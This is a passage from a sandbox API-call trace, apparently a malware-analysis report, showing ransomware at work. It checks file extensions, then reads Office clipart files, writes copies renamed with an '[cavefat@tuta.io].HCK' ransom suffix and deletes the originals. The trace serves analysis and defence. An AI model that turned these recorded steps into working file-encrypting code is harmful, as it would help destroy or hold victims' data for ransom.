hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.560] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x324fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0153.569] SetEndOfFile (hFile=0x30c) returned 1 [0153.569] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e76050 [0153.569] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.569] WriteFile (in: hFile=0x30c, lpBuffer=0x3e76050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e76050*, lpNumberOfBytesWritten=0x324fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.571] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x324fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.571] WriteFile (in: hFile=0x30c, lpBuffer=0x3e76050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e76050*, lpNumberOfBytesWritten=0x324fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.572] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x324fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.572] WriteFile (in: hFile=0x30c, lpBuffer=0x3e76050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e76050*, lpNumberOfBytesWritten=0x324fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.573] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e76050 | out: hHeap=0x6b0000) returned 1 [0153.575] CloseHandle (hObject=0x30c) returned 1 [0154.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.042] lstrlenW (lpString=".doc") returned 4 [0155.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0155.042] lstrlenW (lpString=".docx") returned 5 [0155.042] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0155.042] lstrlenW (lpString=".pdf") returned 4 [0155.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0155.042] lstrlenW (lpString=".xls") returned 4 [0155.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0155.042] lstrlenW (lpString=".xlsx") returned 5 [0155.042] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0155.042] lstrlenW (lpString=".ppt") returned 4 [0155.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.042] lstrlenW (lpString=".zip") returned 4 [0155.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0155.042] lstrlenW (lpString=".rar") returned 4 [0155.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0155.042] lstrlenW (lpString=".bz2") returned 4 [0155.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0155.042] lstrlenW (lpString=".7z") returned 3 [0155.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".dbf") returned 4 [0155.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".1cd") returned 4 [0155.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".jpg") returned 4 [0155.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".doc") returned 4 [0155.043] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString=".docx") returned 5 [0155.043] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0155.043] lstrlenW (lpString=".pdf") returned 4 [0155.043] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString=".xls") returned 4 [0155.043] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString=".xlsx") returned 5 [0155.043] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0155.043] lstrlenW (lpString=".ppt") returned 4 [0155.043] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".zip") returned 4 [0155.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0155.043] lstrlenW (lpString=".rar") returned 4 [0155.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString=".bz2") returned 4 [0155.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString=".7z") returned 3 [0155.043] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".dbf") returned 4 [0155.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".1cd") returned 4 [0155.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0155.043] lstrlenW (lpString=".jpg") returned 4 [0155.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0155.043] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.043] lstrlenW (lpString="AN03500_.WMF") returned 12 [0155.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.044] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9240) returned 1 [0155.044] CloseHandle (hObject=0x364) returned 1 [0155.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0155.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.044] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.044] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.045] GetLastError () returned 0x0 [0155.045] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2418, lpOverlapped=0x0) returned 1 [0155.046] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2420, lpOverlapped=0x0) returned 1 [0155.047] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.047] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.047] SetEndOfFile (hFile=0x394) returned 1 [0155.048] CloseHandle (hObject=0x394) returned 1 [0155.048] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.048] SetEndOfFile (hFile=0x364) returned 1 [0155.049] CloseHandle (hObject=0x364) returned 1 [0155.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".doc") returned 4 [0155.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString=".docx") returned 5 [0155.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.050] lstrlenW (lpString=".pdf") returned 4 [0155.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString=".xls") returned 4 [0155.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.050] lstrlenW (lpString=".xlsx") returned 5 [0155.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.050] lstrlenW (lpString=".ppt") returned 4 [0155.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".zip") returned 4 [0155.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.050] lstrlenW (lpString=".rar") returned 4 [0155.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString=".bz2") returned 4 [0155.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString=".7z") returned 3 [0155.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".dbf") returned 4 [0155.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".1cd") returned 4 [0155.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".jpg") returned 4 [0155.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".doc") returned 4 [0155.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString=".docx") returned 5 [0155.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.050] lstrlenW (lpString=".pdf") returned 4 [0155.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString=".xls") returned 4 [0155.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.050] lstrlenW (lpString=".xlsx") returned 5 [0155.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.050] lstrlenW (lpString=".ppt") returned 4 [0155.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.050] lstrlenW (lpString=".zip") returned 4 [0155.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.051] lstrlenW (lpString=".rar") returned 4 [0155.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.051] lstrlenW (lpString=".bz2") returned 4 [0155.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.051] lstrlenW (lpString=".7z") returned 3 [0155.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.051] lstrlenW (lpString=".dbf") returned 4 [0155.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.051] lstrlenW (lpString=".1cd") returned 4 [0155.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0155.051] lstrlenW (lpString=".jpg") returned 4 [0155.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.051] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.051] lstrlenW (lpString="AN04108_.WMF") returned 12 [0155.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.052] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2344) returned 1 [0155.052] CloseHandle (hObject=0x364) returned 1 [0155.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0155.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.052] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.052] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.052] GetLastError () returned 0x0 [0155.052] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x928, lpOverlapped=0x0) returned 1 [0155.053] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x930, lpOverlapped=0x0) returned 1 [0155.054] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.054] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.054] SetEndOfFile (hFile=0x394) returned 1 [0155.054] CloseHandle (hObject=0x394) returned 1 [0155.055] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.055] SetEndOfFile (hFile=0x364) returned 1 [0155.055] CloseHandle (hObject=0x364) returned 1 [0155.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0155.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.056] lstrlenW (lpString=".doc") returned 4 [0155.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.056] lstrlenW (lpString=".docx") returned 5 [0155.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.056] lstrlenW (lpString=".pdf") returned 4 [0155.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.056] lstrlenW (lpString=".xls") returned 4 [0155.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.056] lstrlenW (lpString=".xlsx") returned 5 [0155.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.056] lstrlenW (lpString=".ppt") returned 4 [0155.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.056] lstrlenW (lpString=".zip") returned 4 [0155.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.056] lstrlenW (lpString=".rar") returned 4 [0155.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.056] lstrlenW (lpString=".bz2") returned 4 [0155.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.056] lstrlenW (lpString=".7z") returned 3 [0155.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".dbf") returned 4 [0155.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".1cd") returned 4 [0155.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".jpg") returned 4 [0155.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".doc") returned 4 [0155.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString=".docx") returned 5 [0155.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.057] lstrlenW (lpString=".pdf") returned 4 [0155.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString=".xls") returned 4 [0155.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.057] lstrlenW (lpString=".xlsx") returned 5 [0155.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.057] lstrlenW (lpString=".ppt") returned 4 [0155.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".zip") returned 4 [0155.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.057] lstrlenW (lpString=".rar") returned 4 [0155.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString=".bz2") returned 4 [0155.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString=".7z") returned 3 [0155.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".dbf") returned 4 [0155.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".1cd") returned 4 [0155.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0155.057] lstrlenW (lpString=".jpg") returned 4 [0155.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.058] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.058] lstrlenW (lpString="AN04117_.WMF") returned 12 [0155.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.058] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6060) returned 1 [0155.058] CloseHandle (hObject=0x364) returned 1 [0155.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0155.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.058] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.058] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.058] GetLastError () returned 0x0 [0155.058] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0155.060] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x17b0, 